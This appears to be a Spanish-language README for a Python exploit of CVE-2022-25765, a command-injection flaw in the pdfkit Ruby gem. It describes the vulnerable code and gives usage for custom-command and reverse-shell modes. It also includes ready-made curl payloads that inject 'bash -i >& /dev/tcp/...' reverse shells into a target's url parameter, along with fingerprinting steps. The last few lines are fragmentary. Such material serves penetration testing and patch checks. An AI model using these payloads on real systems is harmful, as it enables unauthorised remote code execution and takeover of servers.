
Exploit en Python para CVE-2022-25765 inyección de comandos en pdfkit, permitiendo ejecución remota de código a través de URLs manipuladas con modos de shell inversa y comandos personalizados.
CVE-2022-25765 es una vulnerabilidad de inyección de comandos (Command Injection) que afecta a pdfkit (Ruby gem) en versiones < 0.8.7.2. La vulnerabilidad tiene una severidad CRÍTICA con CVSS 9.8, ya que permite ejecución remota de comandos sin autenticación.
El problema radica en que pdfkit pasa el parámetro url directamente al shell sin sanitización. La librería ejecuta internamente wkhtmltopdf con un comando similar a:
system("wkhtmltopdf --quiet ... '#{url}' output.pdf")
Si la URL contiene %20 (espacio URL-encoded) seguido de backticks ` o $(), el shell interpreta el contenido como un comando y lo ejecuta.
CVSS 3.1: 9.8 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
| Campo | Valor |
|---|---|
| CVE | CVE-2022-25765 |
| Producto | pdfkit (Ruby gem) |
| Versiones afectadas | 0.0.0 – 0.8.7.2 |
| Tipo | Command Injection (CWE-78) |
| Autenticación | No requerida |
| CVSS 3.1 | 9.8 CRITICAL |
| Parche | pdfkit ≥ 0.8.7.2 |
El código vulnerable en pdfkit (source.rb:44-50):
def command
args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
"wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end
La URL se interpola directamente en el comando shell sin sanitización. Al incluir %20 (espacio), el contenido después del espacio se escapa del contexto del argumento de wkhtmltopdf y un \`` o $()` permite ejecutar comandos arbitrarios.
El exploit original se encuentra en:
requests, urllib3pip install -r requirements.txt
# Modo comando personalizado (genera payload)
python3 exploit-CVE-2022-25765.py -c "whoami"
# Modo reverse shell (genera payload)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444
# Modo web — enviar comando directamente al sitio vulnerable
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url
# Modo web — reverse shell directa al sitio vulnerable
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url
# Ayuda
python3 exploit-CVE-2022-25765.py -h
| Parámetro | Descripción |
|---|---|
-c | Comando personalizado |
-s <IP> <PORT> | Reverse shell mode |
-w <URL> | URL del sitio web vulnerable (opcional) |
-p <param> | Parámetro POST (opcional, default: url) |
-h | Ayuda |
# Inyección via curl
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"
# O usando $() en lugar de backticks
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"
# Comando simple
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`id\`"
Para identificar si un servidor es vulnerable:
Creator: pdfkit v0.8.6# Enviar URL y recibir callback
curl -X POST http://target.com/ -d "url=http://TU_IP:4444/test"
# Listener: nc -lnvp 4444
# Si recibes la petición con User-Agent: wkhtmltopdf, la app convierte PDFs
# Verificar versión en metadatos del PDF
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# Buscar: "Generated by pdfkit v0.8.6" (vulnerable)
url para eliminar caracteres peligrosos (\``, $(), %20`)